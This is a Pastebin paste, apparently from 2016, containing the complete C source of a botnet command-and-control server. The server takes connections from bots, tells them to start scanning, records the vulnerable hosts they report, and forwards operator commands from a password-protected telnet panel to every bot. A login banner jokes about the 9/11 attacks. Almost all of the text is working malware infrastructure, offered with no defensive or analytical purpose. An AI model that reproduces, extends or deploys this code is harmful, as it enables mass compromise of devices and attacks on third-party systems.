Advertisement
Guest User

k

a guest
Jan 10th, 2016
142
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 21.65 KB | None | 0 0
  1. //Private Config, Do Not Leak!
  2. //Sinden @obtect
  3.  
  4. #include <stdio.h>
  5. #include <stdlib.h>
  6. #include <string.h>
  7. #include <sys/types.h>
  8. #include <sys/socket.h>
  9. #include <netdb.h>
  10. #include <unistd.h>
  11. #include <time.h>
  12. #include <fcntl.h>
  13. #include <sys/epoll.h>
  14. #include <errno.h>
  15. #include <pthread.h>
  16. #include <signal.h>
  17.  
  18. //Admin-Config
  19. #define MY_MGM_ADMINP "PASS"
  20. #define MY_MGM_ADMINU "User"
  21. #define MY_MGM_MATENP "PASS"
  22. #define MY_MGM_MATENU "User"
  23. #define MY_MGM_USERP "PASS"
  24. #define MY_MGM_USERU "User"
  25. #define MY_MGM_GUESTP "PASS"
  26. #define MY_MGM_GUESTU "User"
  27. #define MY_MGM_PORT 6969
  28.  
  29. #define MAXFDS 1000000
  30. char MY_USER_ADMIN=0, MY_USER_USER=0, MY_USER_MATEN=0, MY_USER_GUEST=0;
  31. struct clientdata_t {
  32. uint32_t ip;
  33. char build[7];
  34. char connected;
  35. } clients[MAXFDS];
  36. struct telnetdata_t {
  37. int connected;
  38. } managements[MAXFDS];
  39. static volatile FILE *fileFD;
  40. static volatile int epollFD = 0;
  41. static volatile int listenFD = 0;
  42. static volatile int managesConnected = 0;
  43. int fdgets(unsigned char *buffer, int bufferSize, int fd)
  44. {
  45. int total = 0, got = 1;
  46. while(got == 1 && total < bufferSize && *(buffer + total - 1) != '\n') { got = read(fd, buffer + total, 1); total++; }
  47. return got;
  48. }
  49. void trim(char *str) // Remove whitespace from a string and properly null-terminate it.
  50. {
  51. int i;
  52. int begin = 0;
  53. int end = strlen(str) - 1;
  54. while (isspace(str[begin])) begin++;
  55. while ((end >= begin) && isspace(str[end])) end--;
  56. for (i = begin; i <= end; i++) str[i - begin] = str[i];
  57. str[i - begin] = '\0';
  58. }
  59.  
  60.  
  61. static int make_socket_non_blocking (int sfd)
  62. { // man fcntl
  63. int flags, s;
  64. flags = fcntl (sfd, F_GETFL, 0);
  65. if (flags == -1)
  66. {
  67. perror ("fcntl");
  68. return -1;
  69. }
  70. flags |= O_NONBLOCK;
  71. /*
  72. F_SETFL (int)
  73. Set the file status flags to the value specified by arg. File access mode (O_RDONLY, O_WRONLY, O_RDWR) and file creation flags (i.e., O_CREAT, O_EXCL, O_NOCTTY, O_TRUNC) in arg are
  74. ignored. On Linux this command can change only the O_APPEND, O_ASYNC, O_DIRECT, O_NOATIME, and O_NONBLOCK flags.
  75. */
  76. s = fcntl (sfd, F_SETFL, flags);
  77. if (s == -1)
  78. {
  79. perror ("fcntl");
  80. return -1;
  81. }
  82. return 0;
  83. }
  84.  
  85.  
  86. static int create_and_bind (char *port)
  87. {
  88. struct addrinfo hints;
  89. struct addrinfo *result, *rp;
  90. int s, sfd;
  91. memset (&hints, 0, sizeof (struct addrinfo));
  92. hints.ai_family = AF_UNSPEC; /* Return IPv4 and IPv6 choices */
  93. hints.ai_socktype = SOCK_STREAM; /* We want a TCP socket */
  94. hints.ai_flags = AI_PASSIVE; /* All interfaces */
  95. s = getaddrinfo (NULL, port, &hints, &result);
  96. if (s != 0)
  97. {
  98. fprintf (stderr, "getaddrinfo: %s\n", gai_strerror (s));
  99. return -1;
  100. }
  101. for (rp = result; rp != NULL; rp = rp->ai_next)
  102. {
  103. sfd = socket (rp->ai_family, rp->ai_socktype, rp->ai_protocol);
  104. if (sfd == -1) continue;
  105. int yes = 1;
  106. if ( setsockopt(sfd, SOL_SOCKET, SO_REUSEADDR, &yes, sizeof(int)) == -1 ) perror("setsockopt");
  107. s = bind (sfd, rp->ai_addr, rp->ai_addrlen);
  108. if (s == 0)
  109. {
  110. break;
  111. }
  112. close (sfd);
  113. }
  114. if (rp == NULL)
  115. {
  116. fprintf (stderr, "Could not bind\n");
  117. return -1;
  118. }
  119. freeaddrinfo (result);
  120. return sfd;
  121. }
  122. void broadcast(char *msg, int us) // sends message to all bots, notifies the management clients of this happening
  123. {
  124. int sendMGM = 1;
  125. if(strcmp(msg, "PING") == 0) sendMGM = 0; // Don't send pings to management. Why? Because a human is going to ignore it.
  126. char *wot = malloc(strlen(msg) + 10);
  127. memset(wot, 0, strlen(msg) + 10);
  128. strcpy(wot, msg);
  129. trim(wot);
  130. time_t rawtime;
  131. struct tm * timeinfo;
  132. time(&rawtime);
  133. timeinfo = localtime(&rawtime);
  134. char *timestamp = asctime(timeinfo);
  135. trim(timestamp);
  136. int i;
  137. for(i = 0; i < MAXFDS; i++)
  138. {
  139. if(i == us || (!clients[i].connected && (sendMGM == 0 || !managements[i].connected))) continue;
  140. if(sendMGM && managements[i].connected)
  141.  
  142. {
  143.  
  144. send(i, "\x1b[34m", 6, MSG_NOSIGNAL);
  145.  
  146. send(i, timestamp, strlen(timestamp), MSG_NOSIGNAL);
  147.  
  148. send(i, ":\x1b[37m ", 8, MSG_NOSIGNAL);
  149.  
  150. } //just a prompt with a timestamp.
  151. printf("sent to fd: %d\n", i); // debug info, possibly also intrusion detection. Tells you when a management client connected on command line.
  152. send(i, msg, strlen(msg), MSG_NOSIGNAL);
  153. if(sendMGM && managements[i].connected) send(i, "\r\n\x1b[36m> \x1b[37m", 15, MSG_NOSIGNAL); // send a cool looking prompt to a manager/admin
  154. else send(i, "\n", 1, MSG_NOSIGNAL);
  155. }
  156. free(wot);
  157. }
  158.  
  159. void *epollEventLoop(void *useless) // the big loop used to control each bot asynchronously. Many threads of this get spawned.
  160. {
  161. struct epoll_event event;
  162. struct epoll_event *events;
  163. int s;
  164. events = calloc (MAXFDS, sizeof event);
  165. while (1)
  166. {
  167. int n, i;
  168. n = epoll_wait (epollFD, events, MAXFDS, -1);
  169. for (i = 0; i < n; i++)
  170. {
  171. if ((events[i].events & EPOLLERR) || (events[i].events & EPOLLHUP) || (!(events[i].events & EPOLLIN)))
  172. {
  173. clients[events[i].data.fd].connected = 0;
  174. close(events[i].data.fd);
  175. continue;
  176. }
  177. else if (listenFD == events[i].data.fd)
  178. {
  179. while (1)
  180. {
  181. struct sockaddr in_addr;
  182. socklen_t in_len;
  183. int infd, ipIndex;
  184.  
  185. in_len = sizeof in_addr;
  186. infd = accept (listenFD, &in_addr, &in_len); // accept a connection from a bot.
  187. if (infd == -1)
  188. {
  189. if ((errno == EAGAIN) || (errno == EWOULDBLOCK)) break;
  190. else
  191. {
  192. perror ("accept");
  193. break;
  194. }
  195. }
  196.  
  197. clients[infd].ip = ((struct sockaddr_in *)&in_addr)->sin_addr.s_addr;
  198.  
  199. int dup = 0;
  200. for(ipIndex = 0; ipIndex < MAXFDS; ipIndex++) // check for duplicate clients by seeing if any have the same IP as the one connecting
  201. {
  202. if(!clients[ipIndex].connected || ipIndex == infd) continue;
  203.  
  204. if(clients[ipIndex].ip == clients[infd].ip)
  205. {
  206. dup = 1;
  207. break;
  208. }
  209. }
  210.  
  211. if(dup)
  212. {
  213. printf("dup client\n"); // warns the operator on command line
  214. if(send(infd, "!* LOLNOGTFO\n", 13, MSG_NOSIGNAL) == -1) { close(infd); continue; } // orders all the bots to immediately kill themselves if we see a duplicate client! MAXIMUM PARANOIA
  215. if(send(infd, "DUP\n", 4, MSG_NOSIGNAL) == -1) { close(infd); continue; } // same thing as above.
  216. close(infd);
  217. continue;
  218. }
  219.  
  220. s = make_socket_non_blocking (infd);
  221. if (s == -1) { close(infd); break; }
  222.  
  223. event.data.fd = infd;
  224. event.events = EPOLLIN | EPOLLET;
  225. s = epoll_ctl (epollFD, EPOLL_CTL_ADD, infd, &event);
  226. if (s == -1)
  227. {
  228. perror ("epoll_ctl");
  229. close(infd);
  230. break;
  231. }
  232.  
  233. clients[infd].connected = 1;
  234. send(infd, "!* SCANNER ON\n", 14, MSG_NOSIGNAL);
  235. }
  236. continue;
  237. }
  238. else
  239. {
  240. int thefd = events[i].data.fd;
  241. struct clientdata_t *client = &(clients[thefd]);
  242. int done = 0;
  243. client->connected = 1;
  244. while (1)
  245. {
  246. ssize_t count;
  247. char buf[2048];
  248. memset(buf, 0, sizeof buf);
  249.  
  250. while(memset(buf, 0, sizeof buf) && (count = fdgets(buf, sizeof buf, thefd)) > 0)
  251. {
  252. if(strstr(buf, "\n") == NULL) { done = 1; break; }
  253. trim(buf);
  254. if(strcmp(buf, "PING") == 0) // basic IRC-like ping/pong challenge/response to see if server is alive
  255. {
  256. if(send(thefd, "PONG\n", 5, MSG_NOSIGNAL) == -1) { done = 1; break; } // response
  257. continue;
  258. }
  259. if(strstr(buf, "BUILD ") == buf)
  260. {
  261. char *build = strstr(buf, "BUILD ") + 6;
  262. if(strlen(build) > 6) { printf("build bigger then 6\n"); done = 1; break; }
  263. memset(client->build, 0, 7);
  264. strcpy(client->build, build);
  265. continue;
  266. }
  267. if(strstr(buf, "REPORT ") == buf) // received a report of a vulnerable system from a scan
  268. {
  269. char *line = strstr(buf, "REPORT ") + 7;
  270. fprintf(fileFD, "%s\n", line); // let's write it out to disk without checking what it is!
  271. fflush(fileFD);
  272. //TODO: automatically exploit that particular IP after scanning for dir and uploading correct arch stuffs.
  273. continue;
  274. }
  275. if(strcmp(buf, "PONG") == 0)
  276. {
  277. //should really add some checking or something but meh
  278. continue;
  279. }
  280.  
  281. printf("buf: \"%s\"\n", buf);
  282. }
  283.  
  284. if (count == -1)
  285. {
  286. if (errno != EAGAIN)
  287. {
  288. done = 1;
  289. }
  290. break;
  291. }
  292. else if (count == 0)
  293. {
  294. done = 1;
  295. break;
  296. }
  297. }
  298.  
  299. if (done)
  300. {
  301. client->connected = 0;
  302. close(thefd);
  303. }
  304. }
  305. }
  306. }
  307. }
  308.  
  309. unsigned int clientsConnected() // counts the number of bots connected by looping over every possible file descriptor and checking if it's connected or not
  310. {
  311. int i = 0, total = 0;
  312. for(i = 0; i < MAXFDS; i++)
  313. {
  314. if(!clients[i].connected) continue;
  315. total++;
  316. }
  317.  
  318. return total;
  319. }
  320.  
  321. void *titleWriter(void *sock) // just an informational banner
  322. {
  323. // this LOOKS vulnerable, but it's actually not.
  324. // there's no way we can have 2000 digits' worth of clients/bots connected to overflow that char array
  325. int thefd = (int)sock;
  326. char string[2048];
  327. while(1)
  328. {
  329. memset(string, 0, 2048);
  330. sprintf(string, "%c]0;Bots connected: %d | Users connected: %d%c", '\033', clientsConnected(), managesConnected, '\007');
  331. // \007 is a bell character... causes a beep. Why is there a beep here?
  332. if(send(thefd, string, strlen(string), MSG_NOSIGNAL) == -1) return;
  333.  
  334. sleep(2);
  335. }
  336. }
  337.  
  338.  
  339. void *telnetWorker(void *sock)
  340. {
  341. int thefd = (int)sock;
  342. managesConnected++;
  343. pthread_t title;
  344. char buf[2048];
  345. char* nickstring;
  346. memset(buf, 0, sizeof buf);
  347.  
  348. if(send(thefd, "\x1b[32mNickname:\x1b[30m ", 22, MSG_NOSIGNAL) == -1) goto end;
  349. if(fdgets(buf, sizeof buf, thefd) < 1) goto end;
  350. trim(buf);
  351. nickstring = ("%s", buf);
  352. if(strcmp(nickstring, MY_MGM_ADMINU) == 0){
  353. if(send(thefd, "\x1b[32m* VALID CREDENTIALS *\r\n", 49, MSG_NOSIGNAL) == -1) goto end;
  354. if(send(thefd, "\x1b[32mPassword:\x1b[30m ", 22, MSG_NOSIGNAL) == -1) goto end;
  355. if(fdgets(buf, sizeof buf, thefd) < 1) goto end;
  356. trim(buf);
  357. if(strcmp(buf, MY_MGM_ADMINP) != 0) goto failed;
  358. memset(buf, 0, 2048);
  359. goto fak;
  360. }
  361. else if(strcmp(nickstring, MY_MGM_USERU) == 0){
  362. if(send(thefd, "\x1b[32m* VALID CREDENTIALS *\r\n", 49, MSG_NOSIGNAL) == -1) goto end;
  363. if(send(thefd, "\x1b[32mPassword:\x1b[30m ", 22, MSG_NOSIGNAL) == -1) goto end;
  364. if(fdgets(buf, sizeof buf, thefd) < 1) goto end;
  365. trim(buf);
  366. if(strcmp(buf, MY_MGM_USERP) != 0) goto failed;
  367. memset(buf, 0, 2048);
  368. goto fak;
  369. }
  370. else if(strcmp(nickstring, MY_MGM_MATENU) == 0){
  371. if(send(thefd, "\x1b[32m* VALID CREDENTIALS *\r\n", 49, MSG_NOSIGNAL) == -1) goto end;
  372. if(send(thefd, "\x1b[32mPassword:\x1b[30m ", 22, MSG_NOSIGNAL) == -1) goto end;
  373. if(fdgets(buf, sizeof buf, thefd) < 1) goto end;
  374. trim(buf);
  375. if(strcmp(buf, MY_MGM_MATENP) != 0) goto failed;
  376. memset(buf, 0, 2048);
  377. goto fak;
  378. }
  379. else if(strcmp(nickstring, MY_MGM_GUESTU) == 0){
  380. if(send(thefd, "\x1b[32m* VALID CREDENTIALS *\r\n", 49, MSG_NOSIGNAL) == -1) goto end;
  381. if(send(thefd, "\x1b[32mPassword:\x1b[30m ", 22, MSG_NOSIGNAL) == -1) goto end;
  382. if(fdgets(buf, sizeof buf, thefd) < 1) goto end;
  383. trim(buf);
  384. if(strcmp(buf, MY_MGM_GUESTP) != 0) goto failed;
  385. memset(buf, 0, 2048);
  386. goto fak;
  387. }
  388. else if(strcmp(nickstring, MY_MGM_GUESTU) != 0 || strcmp(nickstring, MY_MGM_ADMINU) != 0 || strcmp(nickstring, MY_MGM_USERU) != 0 || strcmp(nickstring, MY_MGM_MATENU) != 0 ){
  389. if(send(thefd, "\033[1A", 5, MSG_NOSIGNAL) == -1) goto end;
  390. if(send(thefd, "\x1b[31m* INVALID CREDENTIALS *\r\n", 49, MSG_NOSIGNAL) == -1) goto end;
  391. goto end;
  392. }
  393. failed:
  394. if(send(thefd, "\033[1A", 5, MSG_NOSIGNAL) == -1) goto end;
  395. if(send(thefd, "\x1b[31m* INVALID CREDENTIALS *\r\n", 49, MSG_NOSIGNAL) == -1) goto end;
  396. goto end;
  397. fak:
  398. if(send(thefd, "\033[1A", 5, MSG_NOSIGNAL) == -1) goto end;
  399. pthread_create(&title, NULL, &titleWriter, sock); /* writes the informational banner to the admin after a login */
  400. if(send(thefd, "\x1b[1m\x1b[36m╔═══════════════════════════════════════╗\r\n", 54, MSG_NOSIGNAL) == -1) goto end;
  401. if(send(thefd, "* \x1b[37mWELCOME TO OSAMA'S BOTNET\x1b[36m *\r\n", 55, MSG_NOSIGNAL) == -1) goto end;
  402. if(send(thefd, "* \x1b[37mI TOOK TWIN TOWERS DOWN WITH THIS\x1b[36m *\r\n", 55, MSG_NOSIGNAL) == -1) goto end;
  403. if(send(thefd, "╚══════════════════════════════════════╝\r\n\r\n\x1b[36m> \x1b[37m", 59, MSG_NOSIGNAL) == -1) goto end;
  404. /* If we can't send the useless banner, kill ourselves! Amazing error handling! */
  405. managements[thefd].connected = 1;
  406. while(fdgets(buf, sizeof buf, thefd) > 0)
  407. {
  408. trim(buf);
  409. if(send(thefd, "\x1b[36m$: \x1b[37m", 13, MSG_NOSIGNAL) == -1) goto end;
  410. if(strlen(buf) == 0) continue;
  411. printf("management: \"%s\"\n", buf);
  412. broadcast(buf, thefd); // take a command, send it to the bots
  413. memset(buf, 0, 2048);
  414. }
  415.  
  416. end: // cleanup dead socket
  417. managements[thefd].connected = 0;
  418. close(thefd);
  419. managesConnected--;
  420. }
  421.  
  422. void *telnetListener(void *useless)
  423. {
  424. int sockfd, newsockfd;
  425. socklen_t clilen;
  426. struct sockaddr_in serv_addr, cli_addr;
  427. sockfd = socket(AF_INET, SOCK_STREAM, 0);
  428. if (sockfd < 0) perror("ERROR opening socket");
  429. bzero((char *) &serv_addr, sizeof(serv_addr));
  430. serv_addr.sin_family = AF_INET;
  431. serv_addr.sin_addr.s_addr = INADDR_ANY;
  432. serv_addr.sin_port = htons(MY_MGM_PORT);
  433. if (bind(sockfd, (struct sockaddr *) &serv_addr, sizeof(serv_addr)) < 0) perror("ERROR on binding");
  434. listen(sockfd,5);
  435. clilen = sizeof(cli_addr);
  436. while(1)
  437. {
  438. newsockfd = accept(sockfd, (struct sockaddr *) &cli_addr, &clilen);
  439. if (newsockfd < 0) perror("ERROR on accept");
  440. pthread_t thread;
  441. pthread_create( &thread, NULL, &telnetWorker, (void *)newsockfd);
  442. }
  443. }
  444.  
  445. int main (int argc, char *argv[])
  446. {
  447. signal(SIGPIPE, SIG_IGN); // ignore broken pipe errors sent from kernel
  448.  
  449. int s, threads;
  450. struct epoll_event event;
  451.  
  452. if (argc != 3)
  453. {
  454. fprintf (stderr, "Usage: %s [port] [threads]\n", argv[0]);
  455. exit (EXIT_FAILURE);
  456. }
  457. fileFD = fopen("output.txt", "a+"); // TOCTOU vuln if we have access to CnC
  458. threads = atoi(argv[2]);
  459.  
  460. listenFD = create_and_bind (argv[1]); // try to create a listening socket, die if we can't
  461. if (listenFD == -1) abort ();
  462.  
  463. s = make_socket_non_blocking (listenFD); // try to make it nonblocking, die if we can't
  464. if (s == -1) abort ();
  465.  
  466.  
  467. s = listen (listenFD, SOMAXCONN); // listen with a huuuuge backlog, die if we can't
  468. if (s == -1)
  469. {
  470. perror ("listen");
  471. abort ();
  472. }
  473.  
  474. epollFD = epoll_create1 (0); // make an epoll listener, die if we can't
  475. if (epollFD == -1)
  476. {
  477. perror ("epoll_create");
  478. abort ();
  479. }
  480.  
  481. event.data.fd = listenFD;
  482. event.events = EPOLLIN | EPOLLET;
  483. s = epoll_ctl (epollFD, EPOLL_CTL_ADD, listenFD, &event);
  484. if (s == -1)
  485. {
  486. perror ("epoll_ctl");
  487. abort ();
  488. }
  489.  
  490. pthread_t thread[threads + 2];
  491. while(threads--)
  492. {
  493. pthread_create( &thread[threads + 1], NULL, &epollEventLoop, (void *) NULL); // make a thread to command each bot individually
  494. }
  495.  
  496. pthread_create(&thread[0], NULL, &telnetListener, (void *)NULL);
  497.  
  498. while(1)
  499. {
  500. broadcast("PING", -1); // ping bots every 60 sec on the main thread
  501.  
  502. sleep(60);
  503. }
  504.  
  505. close (listenFD);
  506.  
  507. return EXIT_SUCCESS;
  508. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement